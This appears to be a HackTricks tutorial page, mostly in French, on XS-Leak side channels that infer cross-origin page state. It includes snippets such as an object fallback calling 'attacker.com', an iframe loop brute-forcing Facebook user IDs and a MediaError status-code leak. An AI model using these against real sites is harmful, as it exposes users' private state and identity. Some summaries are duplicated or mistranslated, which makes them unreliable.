XS-Search/XS-Leaks
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Informations de base
XS-Search est une méthode utilisée pour l’extraction d’informations cross-origin en tirant parti de vulnérabilités de side channel.
Les composants clés impliqués dans cette attaque incluent :
- Vulnerable Web : Le site cible depuis lequel on cherche à extraire des informations.
- Attacker’s Web : Le site malveillant créé par l’attaquant et visité par la victime, hébergeant l’exploit.
- Inclusion Method : La technique employée pour incorporer le Vulnerable Web dans l’Attacker’s Web (par ex. window.open, iframe, fetch, balise HTML avec href, etc.).
- Leak Technique : Techniques utilisées pour discerner des différences d’état du Vulnerable Web d’après les informations recueillies via la méthode d’inclusion.
- States : Les deux conditions possibles du Vulnerable Web que l’attaquant cherche à distinguer.
- Detectable Differences : Variations observables sur lesquelles l’attaquant s’appuie pour inférer l’état du Vulnerable Web.
Detectable Differences
Plusieurs aspects peuvent être analysés pour différencier les States du Vulnerable Web :
- Status Code : Distinguer entre différents codes de réponse HTTP cross-origin, comme erreurs serveur, erreurs client ou erreurs d’authentification.
- API Usage : Identifier l’utilisation d’API Web sur les pages, révélant si une page cross-origin utilise une API JavaScript spécifique.
- Redirects : Détecter des navigations vers d’autres pages, pas seulement des redirects HTTP mais aussi ceux déclenchés par JavaScript ou HTML.
- Page Content : Observer des variations dans le body de la réponse HTTP ou dans des sous-ressources de la page, comme le nombre de frames embarquées ou des différences de taille d’images.
- HTTP Header : Noter la présence ou éventuellement la valeur d’un header de réponse HTTP spécifique, y compris des en-têtes comme X-Frame-Options, Content-Disposition et Cross-Origin-Resource-Policy.
- Timing : Remarquer des écarts de temps constants entre les deux States.
Inclusion Methods
- HTML Elements : Le HTML offre diverses éléments pour l’inclusion de ressources cross-origin, comme stylesheets, images ou scripts, forçant le navigateur à requêter une ressource non-HTML. Une compilation d’éléments HTML potentiels pour cet usage se trouve sur https://github.com/cure53/HTTPLeaks.
- Frames : Des éléments tels que iframe, object et embed peuvent intégrer directement des ressources HTML dans la page de l’attaquant. Si la page manque de protection contre le framing, JavaScript peut accéder à l’objet window de la ressource encadrée via la propriété contentWindow.
- Pop-ups : La méthode
window.openouvre une ressource dans un nouvel onglet ou une nouvelle fenêtre, fournissant un window handle pour que JavaScript interagisse avec les méthodes et propriétés suivant le SOP. Les pop-ups, souvent utilisées pour le single sign-on, contournent le framing et les restrictions de cookies d’une ressource cible. Toutefois, les navigateurs modernes restreignent la création de pop-ups à certaines actions utilisateur. - JavaScript Requests : JavaScript permet des requêtes directes vers des ressources cibles en utilisant XMLHttpRequests ou la Fetch API. Ces méthodes offrent un contrôle précis sur la requête, par exemple la possibilité de suivre ou non les redirects HTTP.
Leak Techniques
- Event Handler : Une technique classique dans XS-Leaks, où des event handlers comme onload et onerror donnent des informations sur le succès ou l’échec du chargement d’une ressource.
- Error Messages : Les exceptions JavaScript ou des pages d’erreur spéciales peuvent fournir des informations de leak soit directement via le message d’erreur soit par la simple distinction entre présence et absence.
- Global Limits : Des limitations physiques d’un navigateur, comme la capacité mémoire ou d’autres limites imposées, peuvent signaler qu’un seuil est atteint et servir de technique de leak.
- Global State : Des interactions détectables avec les états globaux du navigateur (par ex. l’interface History) peuvent être exploitées. Par exemple, le nombre d’entrées dans l’historique du navigateur peut donner des indices sur des pages cross-origin.
- Performance API : Cette API fournit des détails de performance de la page courante, y compris le timing réseau pour le document et les ressources chargées, permettant d’inférer des informations sur les ressources demandées.
- Readable Attributes : Certains attributs HTML sont lisibles cross-origin et peuvent être utilisés comme technique de leak. Par exemple, la propriété
window.frame.lengthpermet à JavaScript de compter les frames incluses dans une page cross-origin.
XSinator Tool & Paper
XSinator est un outil automatique pour vérifier les navigateurs contre plusieurs XS-Leaks connus expliqués dans son paper : https://xsinator.com/paper.pdf
Vous pouvez accéder à l’outil sur https://xsinator.com/
Warning
Excluded XS-Leaks : Nous avons dû exclure les XS-Leaks qui reposent sur les service workers car ils interféreraient avec d’autres leaks dans XSinator. De plus, nous avons choisi d’exclure les XS-Leaks qui dépendent de mauvaises configurations et de bugs dans une application web spécifique. Par exemple, CrossOrigin Resource Sharing (CORS) misconfigurations, postMessage leakage ou Cross-Site Scripting. En outre, nous avons exclu les XS-Leaks basés sur le temps car ils sont souvent lents, bruyants et imprécis.
Timing Based techniques
Certaines des techniques suivantes vont utiliser le timing comme partie du processus pour détecter des différences entre les States possibles des pages web. Il existe différentes manières de mesurer le temps dans un navigateur.
Clocks : L’API performance.now() permet d’obtenir des mesures de temps à haute résolution.
Un nombre considérable d’APIs peuvent être détournées par un attaquant pour créer des clocks implicites : Broadcast Channel API, Message Channel API, requestAnimationFrame, setTimeout, animations CSS, et d’autres.
Pour plus d’infos : https://xsleaks.dev/docs/attacks/timing-attacks/clocks.
Event Handler Techniques
Onload/Onerror
- Inclusion Methods: Frames, HTML Elements
- Detectable Difference: Status Code
- More info: https://www.usenix.org/conference/usenixsecurity19/presentation/staicu, https://xsleaks.dev/docs/attacks/error-events/
- Summary : si l’on tente de charger une ressource, les événements onerror/onload sont déclenchés lorsque la ressource échoue/se charge avec succès ; il est donc possible de déterminer le status code.
- Code example : https://xsinator.com/testing.html#Event%20Handler%20Leak%20(Script)
L’exemple de code essaie de charger des scripts/objects depuis JS, mais d’autres tags tels que objects, stylesheets, images, audios peuvent aussi être utilisés. De plus, il est aussi possible d’injecter la balise directement et de déclarer les événements onload et onerror à l’intérieur de la balise (au lieu de l’injecter depuis JS).
Il existe également une version sans script de cette attaque :
<object data="//example.com/404">
<object data="//attacker.com/?error"></object>
</object>
Dans ce cas, si example.com/404 n’est pas trouvé, attacker.com/?error sera chargé.
Content-Type/CORB script load oracle
- Méthodes d’inclusion: Éléments HTML (script)
- Différence détectable: En-tête / Content-Type via
onloadvsonerror(CORB) - Résumé: Si un endpoint renvoie du HTML en cas de correspondance et du JSON en cas de non-correspondance, le charger avec
<script src>. Le HTML déclencheonload; le JSON est bloqué par CORB et déclencheonerror, fournissant un oracle booléen pour brute-force des identifiants comme__userdans une portée connue. - Remarques: Fonctionne cross-origin sans lire le corps des réponses ; pratique pour énumérer le compte actif quand un tenant ID est fixe.
postMessage vs X-Frame-Options deny oracle
- Méthodes d’inclusion: Frames
- Différence détectable: En-tête (XFO) + présence/absence de postMessage
- Résumé: Certains widgets envoient un postMessage à leur parent une fois chargés. Si la requête est encadrée avec un identifiant incorrect, le serveur peut répondre avec
X-Frame-Options: deny, empêchant le rendu et donc aucun message n’est émis. En positionnant lesrcde l’iframe avec l’ID candidat, en attendant un événementmessage(succès) et en traitant le timeout/absence de message comme échec, le compte actif peut être brute-forcé. - Extrait minimal:
<iframe id=fb width=0 height=0></iframe>
<script>
function test(id){
fb.src=`https://www.facebook.com/plugins/like.php?__a=1&__user=${id}`;
return new Promise(r=>{
const t=setTimeout(()=>r(false),2000);
onmessage=()=>{clearTimeout(t);r(true);}
});
}
</script>
- Related: PostMessage Vulnerabilities
pour plus de pièges liés aux messages/iframes.
Onload Timing
- Inclusion Methods: éléments HTML
- Detectable Difference: Timing (généralement dû au contenu de la page, au code d’état)
- More info: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events
- Summary: L’performance.now() API peut être utilisée pour mesurer combien de temps prend l’exécution d’une requête. Cependant, d’autres horloges peuvent être utilisées, comme la PerformanceLongTaskTiming API qui peut identifier des tâches durant plus de 50ms.
- Code Example: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events un autre exemple dans :
Onload Timing + Forced Heavy Task
Cette technique est comme la précédente, mais l’attacker va aussi forcer une action à prendre un temps pertinent lorsque la réponse est positive ou négative et mesurer ce temps.
performance.now + Force heavy task
unload/beforeunload Timing
- Inclusion Methods: Frames
- Detectable Difference: Timing (généralement dû au contenu de la page, au code d’état)
- More info: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events
- Summary: L’horloge SharedArrayBuffer peut être utilisée pour mesurer combien de temps prend l’exécution d’une requête. D’autres horloges peuvent être utilisées.
- Code Example: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events
Le temps nécessaire pour récupérer une ressource peut être mesuré en utilisant les événements unload et beforeunload. L’événement beforeunload est déclenché lorsque le navigateur est sur le point de naviguer vers une nouvelle page, tandis que l’événement unload se produit lorsque la navigation a réellement lieu. La différence de temps entre ces deux événements peut être calculée pour déterminer la durée pendant laquelle le navigateur a passé à récupérer la ressource.
Sandboxed Frame Timing + onload
- Inclusion Methods: Frames
- Detectable Difference: Timing (généralement dû au contenu de la page, au code d’état)
- More info: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks
- Summary: L’performance.now() API peut être utilisée pour mesurer combien de temps prend l’exécution d’une requête. D’autres horloges peuvent être utilisées.
- Code Example: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks
Il a été observé que, en l’absence de Framing Protections, le temps nécessaire pour qu’une page et ses sous-ressources se chargent sur le réseau peut être mesuré par un attacker. Cette mesure est généralement possible parce que le gestionnaire onload d’un iframe n’est déclenché qu’après la fin du chargement des ressources et l’exécution du JavaScript. Pour contourner la variabilité introduite par l’exécution des scripts, un attacker peut utiliser l’attribut sandbox dans le <iframe>. L’inclusion de cet attribut restreint de nombreuses fonctionnalités, notamment l’exécution de JavaScript, facilitant ainsi une mesure principalement influencée par les performances réseau.
// Example of an iframe with the sandbox attribute
<iframe src="example.html" sandbox></iframe>
#ID + error + onload
- Inclusion Methods: Frames
- Detectable Difference: Page Content
- More info:
- Résumé: Si vous pouvez faire planter la page lorsque le contenu correct est accédé et la faire charger correctement lorsque n’importe quel contenu est accédé, alors vous pouvez faire une boucle pour extraire toutes les informations sans mesurer le temps.
- Code Example:
Suppose that you can insert the page that has the secret content inside an Iframe.
You can make the victim search for the file that contains “flag” using an Iframe (exploiting a CSRF for example). Inside the Iframe you know that the onload event will be executed always at least once. Then, you can change the URL of the iframe but changing only the content of the hash inside the URL.
For example:
- URL1: www.attacker.com/xssearch#try1
- URL2: www.attacker.com/xssearch#try2
If the first URL was successfully loaded, then, when changing the hash part of the URL the onload event won’t be triggered again. But if the page had some kind of error when loading, then, the onload event will be triggered again.
Then, you can distinguish between a correctly loaded page or page that has an error when is accessed.
Javascript Execution
- Inclusion Methods: Frames
- Detectable Difference: Page Content
- More info:
- Résumé: Si la page renvoie le contenu sensible, ou un contenu qui peut être contrôlé par l’utilisateur. L’utilisateur pourrait placer du JS valide dans le cas négatif, et charger chaque essai à l’intérieur de balises
<script>, si bien que dans les cas négatifs le code de l’attaquant sera exécuté, et dans les cas affirmatifs rien ne sera exécuté. - Code Example:
CORB - Onerror
- Inclusion Methods: HTML Elements
- Detectable Difference: Status Code & Headers
- More info: https://xsleaks.dev/docs/attacks/browser-features/corb/
- Résumé: Cross-Origin Read Blocking (CORB) est une mesure de sécurité qui empêche les pages web de charger certaines ressources cross-origin sensibles pour se protéger contre des attaques comme Spectre. Cependant, les attaquants peuvent exploiter son comportement protecteur. Lorsqu’une réponse soumise à CORB renvoie un
Content-TypeCORB protected avecnosniffet un code d’état2xx, CORB supprime le corps et les en-têtes de la réponse. Les attaquants observant cela peuvent déduire la combinaison du status code (indiquant succès ou erreur) et duContent-Type(indiquant si c’est protégé par CORB), conduisant à une possible information leak. - Code Example:
Check the more information link for more information about the attack.
onblur
- Inclusion Methods: Frames
- Detectable Difference: Page Content
- More info: https://xsleaks.dev/docs/attacks/id-attribute/, https://xsleaks.dev/docs/attacks/experiments/portals/
- Résumé: Leak des données sensibles depuis l’attribut id ou name.
- Code Example: https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet
It’s possible to load a page inside an iframe and use the #id_value to make the page focus on the element of the iframe with indicated if, then if an onblur signal is triggered, the ID element exists.
You can perform the same attack with portal tags.
postMessage Broadcasts
- Inclusion Methods: Frames, Pop-ups
- Detectable Difference: API Usage
- More info: https://xsleaks.dev/docs/attacks/postmessage-broadcasts/
- Résumé: Rassembler des informations sensibles depuis un postMessage ou utiliser la présence de postMessages comme un oracle pour connaître l’état de l’utilisateur sur la page
- Code Example:
Any code listening for all postMessages.
Applications frequently utilize postMessage broadcasts to communicate across different origins. However, this method can inadvertently expose sensitive information if the targetOrigin parameter is not properly specified, allowing any window to receive the messages. Furthermore, the mere act of receiving a message can act as an oracle; for instance, certain messages might only be sent to users who are logged in. Therefore, the presence or absence of these messages can reveal information about the user’s state or identity, such as whether they are authenticated or not.
Global Limits Techniques
WebSocket API
- Inclusion Methods: Frames, Pop-ups
- Detectable Difference: API Usage
- More info: https://xsinator.com/paper.pdf (5.1)
- Résumé: Épuiser la limite de connexions WebSocket permet de leak le nombre de connexions WebSocket d’une page cross-origin.
- Code Example: https://xsinator.com/testing.html#WebSocket%20Leak%20(FF), https://xsinator.com/testing.html#WebSocket%20Leak%20(GC)
It is possible to identify if, and how many, WebSocket connections a target page uses. It allows an attacker to detect application states and leak information tied to the number of WebSocket connections.
If one origin uses the maximum amount of WebSocket connection objects, regardless of their connections state, the creation of new objects will result in JavaScript exceptions. To execute this attack, the attacker website opens the target website in a pop-up or iframe and then, after the target web has been loaded, attempts to create the maximum number of WebSockets connections possible. The number of thrown exceptions is the number of WebSocket connections used by the target website window.
Payment API
- Inclusion Methods: Frames, Pop-ups
- Detectable Difference: API Usage
- More info: https://xsinator.com/paper.pdf (5.1)
- Résumé: Détecter Payment Request parce qu’une seule peut être active à la fois.
- Code Example: https://xsinator.com/testing.html#Payment%20API%20Leak
This XS-Leak enables an attacker to detect when a cross-origin page initiates a payment request.
Because only one request payment can be active at the same time, if the target website is using the Payment Request API, any further attempts to show use this API will fail, and cause a JavaScript exception. The attacker can exploit this by periodically attempting to show the Payment API UI. If one attempt causes an exception, the target website is currently using it. The attacker can hide these periodical attempts by immediately closing the UI after creation.
Timing the Event Loop
- Inclusion Methods:
- Detectable Difference: Timing (generally due to Page Content, Status Code)
- More info: https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop
- Résumé: Mesurer le temps d’exécution d’un web en abusant de la boucle d’événements JS mono-thread.
- Code Example:
Event Loop Blocking + Lazy images
JavaScript operates on a single-threaded event loop concurrency model, signifying that it can only execute one task at a time. This characteristic can be exploited to gauge how long code from a different origin takes to execute. An attacker can measure the execution time of their own code in the event loop by continuously dispatching events with fixed properties. These events will be processed when the event pool is empty. If other origins are also dispatching events to the same pool, an attacker can infer the time it takes for these external events to execute by observing delays in the execution of their own tasks. This method of monitoring the event loop for delays can reveal the execution time of code from different origins, potentially exposing sensitive information.
Warning
In an execution timing it’s possible to eliminate network factors to obtain more precise measurements. For example, by loading the resources used by the page before loading it.
Busy Event Loop
- Inclusion Methods:
- Detectable Difference: Timing (generally due to Page Content, Status Code)
- More info: https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop
- Résumé: Une méthode pour mesurer le temps d’exécution d’une opération web consiste à bloquer intentionnellement la boucle d’événements d’un thread puis chronométrer combien de temps il faut avant que la boucle d’événements redevienne disponible. En insérant une opération bloquante (comme un long calcul ou un appel API synchrone) dans la boucle d’événements, et en surveillant le temps nécessaire au démarrage de l’exécution du code suivant, on peut déduire la durée des tâches qui s’exécutaient dans la boucle pendant la période de blocage. Cette technique exploite la nature mono-thread de la boucle d’événements JavaScript, où les tâches s’exécutent séquentiellement, et peut fournir des informations sur les performances ou le comportement d’autres opérations partageant le même thread.
- Code Example:
A significant advantage of the technique of measuring execution time by locking the event loop is its potential to circumvent Site Isolation. Site Isolation is a security feature that separates different websites into separate processes, aiming to prevent malicious sites from directly accessing sensitive data from other sites. However, by influencing the execution timing of another origin through the shared event loop, an attacker can indirectly extract information about that origin’s activities. This method does not rely on direct access to the other origin’s data but rather observes the impact of that origin’s activities on the shared event loop, thus evading the protective barriers established by Site Isolation.
Warning
In an execution timing it’s possible to eliminate network factors to obtain more precise measurements. For example, by loading the resources used by the page before loading it.
Connection Pool
- Inclusion Methods: JavaScript Requests
- Detectable Difference: Timing (generally due to Page Content, Status Code)
- More info: https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/
- Résumé: Un attaquant pourrait verrouiller tous les sockets sauf 1, charger la cible et en même temps charger une autre page ; le temps jusqu’au démarrage du chargement de la dernière page est le temps que la cible a pris pour charger.
- Code Example:
Browsers utilize sockets for server communication, but due to the limited resources of the operating system and hardware, browsers are compelled to impose a limit on the number of concurrent sockets. Attackers can exploit this limitation through the following steps:
- Ascertain the browser’s socket limit, for instance, 256 global sockets.
- Occupy 255 sockets for an extended duration by initiating 255 requests to various hosts, designed to keep the connections open without completing.
- Employ the 256th socket to send a request to the target page.
- Attempt a 257th request to a different host. Given that all sockets are in use (as per steps 2 and 3), this request will be queued until a socket becomes available. The delay before this request proceeds provides the attacker with timing information about the network activity related to the 256th socket (the target page’s socket). This inference is possible because the 255 sockets from step 2 are still engaged, implying that any newly available socket must be the one released from step 3. The time taken for the 256th socket to become available is thus directly linked to the time required for the request to the target page to complete.
For more info: https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/
Connection Pool by Destination
- Inclusion Methods: JavaScript Requests
- Detectable Difference: Timing (generally due to Page Content, Status Code)
- More info:
- Résumé: C’est similaire à la technique précédente mais au lieu d’utiliser tous les sockets, Google Chrome impose une limite de 6 requêtes concurrentes vers la même origine. Si nous bloquons 5 puis lançons une 6ème requête nous pouvons la chronométrer et si nous arrivons à faire en sorte que la page victime envoie plus de requêtes au même endpoint pour détecter un état de la page, la 6ème requête prendra plus de temps et nous pourrons la détecter.
Performance API Techniques
The Performance API offers insights into the performance metrics of web applications, further enriched by the Resource Timing API. The Resource Timing API enables the monitoring of detailed network request timings, such as the duration of the requests. Notably, when servers include the Timing-Allow-Origin: * header in their responses, additional data like the transfer size and domain lookup time becomes available.
This wealth of data can be retrieved via methods like performance.getEntries or performance.getEntriesByName, providing a comprehensive view of performance-related information. Additionally, the API facilitates the measurement of execution times by calculating the difference between timestamps obtained from performance.now(). However, it’s worth noting that for certain operations in browsers like Chrome, the precision of performance.now() may be limited to milliseconds, which could affect the granularity of timing measurements.
Beyond timing measurements, the Performance API can be leveraged for security-related insights. For instance, the presence or absence of pages in the performance object in Chrome can indicate the application of X-Frame-Options. Specifically, if a page is blocked from rendering in a frame due to X-Frame-Options, it will not be recorded in the performance object, providing a subtle clue about the page’s framing policies.
Error Leak
- Inclusion Methods: Frames, HTML Elements
- Detectable Difference: Status Code
- More info: https://xsinator.com/paper.pdf (5.2)
- Résumé: Une requête qui aboutit à une erreur ne crée pas d’entrée dans resource timing.
- Code Example: https://xsinator.com/testing.html#Performance%20API%20Error%20Leak
It is possible to differentiate between HTTP response status codes because requests that lead to an error do not create a performance entry.
Style Reload Error
- Inclusion Methods: HTML Elements
- Detectable Difference: Status Code
- More info: https://xsinator.com/paper.pdf (5.2)
- Résumé: En raison d’un bug de navigateur, les requêtes qui échouent sont chargées deux fois.
- Code Example: https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak
In the previous technique it was also identified two cases where browser bugs in GC lead to resources being loaded twice when they fail to load. This will result in multiple entries in the Performance API and can thus be detected.
Request Merging Error
- Inclusion Methods: HTML Elements
- Detectable Difference: Status Code
- More info: https://xsinator.com/paper.pdf (5.2)
- Résumé: Les requêtes qui aboutissent à une erreur ne peuvent pas être mergées.
- Code Example: https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak
The technique was found in a table in the mentioned paper but no description of the technique was found on it. However, you can find the source code checking for it in https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak
Empty Page Leak
- Inclusion Methods: Frames
- Detectable Difference: Page Content
- More info: https://xsinator.com/paper.pdf (5.2)
- Résumé: Les réponses vides ne créent pas d’entrées resource timing.
- Code Example: https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak
An attacker can detect if a request resulted in an empty HTTP response body because empty pages do not create a performance entry in some browsers.
XSS-Auditor Leak
- Inclusion Methods: Frames
- Detectable Difference: Page Content
- More info: https://xsinator.com/paper.pdf (5.2)
- Résumé: En utilisant le XSS Auditor dans Security Assertions, les attaquants peuvent détecter des éléments spécifiques d’une page en observant des altérations de réponses lorsque des payloads conçus déclenchent le mécanisme de filtrage de l’auditeur.
- Code Example: https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak
In Security Assertions (SA), the XSS Auditor, originally intended to prevent Cross-Site Scripting (XSS) attacks, can paradoxically be exploited to leak sensitive information. Although this built-in feature was removed from Google Chrome (GC), it’s still present in SA. In 2013, Braun and Heiderich demonstrated that the XSS Auditor could inadvertently block legitimate scripts, leading to false positives. Building on this, researchers developed techniques to extract information and detect specific content on cross-origin pages, a concept known as XS-Leaks, initially reported by Terada and elaborated by Heyes in a blog post. Although these techniques were specific to the XSS Auditor in GC, it was discovered that in SA, pages blocked by the XSS Auditor do not generate entries in the Performance API, revealing a method through which sensitive information might still be leaked.
X-Frame Leak
- Inclusion Methods: Frames
- Detectable Difference: Header
- More info: https://xsinator.com/paper.pdf (5.2), https://xsleaks.github.io/xsleaks/examples/x-frame/index.html, https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-x-frame-options
- Résumé: Une ressource avec l’en-tête X-Frame-Options ne crée pas d’entrée resource timing.
- Code Example: https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak
If a page is not allowed to be rendered in an iframe it does not create a performance entry. As a result, an attacker can detect the response header X-Frame-Options.
Same happens if you use an embed tag.
Download Detection
- Inclusion Methods: Frames
- Detectable Difference: Header
- More info: https://xsinator.com/paper.pdf (5.2)
- Résumé: Les téléchargements ne créent pas d’entrées resource timing dans la Performance API.
- Code Example: https://xsinator.com/testing.html#Performance%20API%20Download%20Detection
Similar, to the XS-Leak described, a resource that is downloaded because of the ContentDisposition header, also does not create a performance entry. This technique works in all major browsers.
Redirect Start Leak
- Inclusion Methods: Frames
- Detectable Difference: Redirect
- More info: https://xsinator.com/paper.pdf (5.2)
- Résumé: L’entrée resource timing divulgue le temps de début d’une redirection.
- Code Example: https://xsinator.com/testing.html#Redirect%20Start%20Leak
We found one XS-Leak instance that abuses the behavior of some browsers which log too much information for cross-origin requests. The standard defines a subset of attributes that should be set to zero for cross-origin resources. However, in SA it is possible to detect if the user is redirected by the target page, by querying the Performance API and checking for the redirectStart timing data.
Duration Redirect Leak
- Inclusion Methods: Fetch API
- Detectable Difference: Redirect
- More info: https://xsinator.com/paper.pdf (5.2)
- Résumé: La durée des entrées timing est négative lorsqu’une redirection se produit.
- Code Example: https://xsinator.com/testing.html#Duration%20Redirect%20Leak
In GC, the duration for requests that result in a redirect is negative and can thus be distinguished from requests that do not result in a redirect.
CORP Leak
- Inclusion Methods: Frames
- Detectable Difference: Header
- More info: https://xsinator.com/paper.pdf (5.2)
- Résumé: Les ressources protégées par CORP ne créent pas d’entrées resource timing.
- Code Example: https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak
In some cases, the nextHopProtocol entry can be used as a leak technique. In GC, when the CORP header is set, the nextHopProtocol will be empty. Note that SA will not create a performance entry at all for CORP-enabled resources.
Service Worker
- Inclusion Methods: Frames
- Detectable Difference: API Usage
- More info: https://www.ndss-symposium.org/ndss-paper/awakening-the-webs-sleeper-agents-misusing-service-workers-for-privacy-leakage/
- Résumé: Détecter si un service worker est enregistré pour une origine spécifique.
- Code Example:
Service workers are event-driven script contexts that run at an origin. They run in the background of a web page and can intercept, modify, and cache resources to create offline web application.
If a resource cached by a service worker is accessed via iframe, the resource will be loaded from the service worker cache.
To detect if the resource was loaded from the service worker cache the Performance API can be used.
This could also be done with a Timing attack (check the paper for more info).
Cache
- Inclusion Methods: Fetch API
- Detectable Difference: Timing
- More info: https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources
- Résumé: Il est possible de vérifier si une ressource a été stockée dans le cache.
- Code Example: https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources, https://xsinator.com/testing.html#Cache%20Leak%20(POST)
Using the Performance API it’s possible to check if a resource is cached.
Network Duration
- Inclusion Methods: Fetch API
- Detectable Difference: Page Content
- More info: https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration
- Résumé: Il est possible de récupérer la durée réseau d’une requête via l’API
performance. - Code Example: https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration
Error Messages Technique
Media Error
- Inclusion Methods: HTML Elements (Video, Audio)
- Detectable Difference: Status Code
- More info: https://bugs.chromium.org/p/chromium/issues/detail?id=828265
- Résumé: Dans Firefox il est possible de leak avec précision le code de statut d’une requête cross-origin.
- Code Example: https://jsbin.com/nejatopusi/1/edit?html,css,js,output
// Code saved here in case it dissapear from the link
// Based on MDN MediaError example: https://mdn.github.io/dom-examples/media/mediaerror/
window.addEventListener("load", startup, false)
function displayErrorMessage(msg) {
document.getElementById("log").innerHTML += msg
}
function startup() {
let audioElement = document.getElementById("audio")
// "https://mdn.github.io/dom-examples/media/mediaerror/assets/good.mp3";
document.getElementById("startTest").addEventListener(
"click",
function () {
audioElement.src = document.getElementById("testUrl").value
},
false
)
// Create the event handler
var errHandler = function () {
let err = this.error
let message = err.message
let status = ""
// Chrome error.message when the request loads successfully: "DEMUXER_ERROR_COULD_NOT_OPEN: FFmpegDemuxer: open context failed"
// Firefox error.message when the request loads successfully: "Failed to init decoder"
if (
message.indexOf("DEMUXER_ERROR_COULD_NOT_OPEN") != -1 ||
message.indexOf("Failed to init decoder") != -1
) {
status = "Success"
} else {
status = "Error"
}
displayErrorMessage(
"<strong>Status: " +
status +
"</strong> (Error code:" +
err.code +
" / Error Message: " +
err.message +
")<br>"
)
}
audioElement.onerror = errHandler
}
L’interface MediaError et sa propriété message identifient de manière unique les ressources qui se chargent correctement avec une chaîne distincte. Un attaquant peut exploiter cette caractéristique en observant le contenu du message, déduisant ainsi le statut de la réponse d’une ressource cross-origin.
CORS Error
- Inclusion Methods: Fetch API
- Detectable Difference: Header
- More info: https://xsinator.com/paper.pdf (5.3)
- Summary: In Security Assertions (SA), CORS error messages inadvertently expose the full URL of redirected requests.
- Code Example: https://xsinator.com/testing.html#CORS%20Error%20Leak
Cette technique permet à un attaquant d’extraire la destination d’une redirection d’un site cross-origin en exploitant la manière dont les navigateurs basés sur WebKit gèrent les requêtes CORS. Plus précisément, lorsqu’une requête CORS-enabled est envoyée vers une cible qui effectue une redirection basée sur l’état utilisateur et que le navigateur refuse ensuite la requête, l’URL complète de la cible de la redirection est divulguée dans le message d’erreur. Cette vulnérabilité révèle non seulement l’existence de la redirection mais expose aussi le point de terminaison de la redirection et les paramètres de requête sensibles qu’il peut contenir.
SRI Error
- Inclusion Methods: Fetch API
- Detectable Difference: Header
- More info: https://xsinator.com/paper.pdf (5.3)
- Summary: In Security Assertions (SA), CORS error messages inadvertently expose the full URL of redirected requests.
- Code Example: https://xsinator.com/testing.html#SRI%20Error%20Leak
Un attaquant peut exploiter des messages d’erreur verbeux pour déduire la taille des réponses cross-origin. Cela est possible à cause du mécanisme de Subresource Integrity (SRI), qui utilise l’attribut integrity pour valider que les ressources fetchées, souvent depuis des CDNs, n’ont pas été altérées. Pour que SRI fonctionne sur des ressources cross-origin, celles-ci doivent être CORS-enabled ; sinon, elles ne sont pas soumises aux vérifications d’intégrité. Dans Security Assertions (SA), de la même manière que pour le CORS error XS-Leak, un message d’erreur peut être capturé après un fetch avec un attribut integrity qui échoue. Les attaquants peuvent délibérément provoquer cette erreur en assignant une valeur de hash invalide à l’attribut integrity d’une requête. Dans SA, le message d’erreur résultant révèle involontairement la longueur du contenu de la ressource demandée. Cette fuite d’information permet à un attaquant de discerner des variations dans la taille des réponses, ouvrant la voie à des attaques XS-Leak plus sophistiquées.
CSP Violation/Detection
- Inclusion Methods: Pop-ups
- Detectable Difference: Status Code
- More info: https://bugs.chromium.org/p/chromium/issues/detail?id=313737, https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html, https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects
- Summary: Allowing only the victims website in the CSP if we accessed it tries to redirect to a different domain the CSP will trigger a detectable error.
- Code Example: https://xsinator.com/testing.html#CSP%20Violation%20Leak, https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation
Un XS-Leak peut utiliser la CSP pour détecter si un site cross-origin a été redirigé vers une origine différente. Cette fuite peut détecter la redirection, mais en plus, le domaine de la cible de la redirection est divulgué. L’idée de base de cette attaque est d’autoriser le domaine cible sur le site de l’attaquant. Une fois qu’une requête est émise vers le domaine cible, celui-ci redirige vers un domaine cross-origin. La CSP bloque l’accès à celui-ci et crée un rapport de violation exploitable comme technique de leak. Selon le navigateur, ce rapport peut divulguer l’emplacement cible de la redirection.
Les navigateurs modernes n’indiqueront généralement pas l’URL vers laquelle il a été redirigé, mais il reste possible de détecter qu’une redirection cross-origin a été déclenchée.
Cache
- Inclusion Methods: Frames, Pop-ups
- Detectable Difference: Page Content
- More info: https://xsleaks.dev/docs/attacks/cache-probing/#cache-probing-with-error-events, https://sirdarckcat.blogspot.com/2019/03/http-cache-cross-site-leaks.html
- Summary: Clear the file from the cache. Opens target page checks if the file is present in the cache.
- Code Example:
Les navigateurs peuvent utiliser un cache partagé pour tous les sites. Indépendamment de leur origine, il est possible de déduire si une page cible a demandé un fichier spécifique.
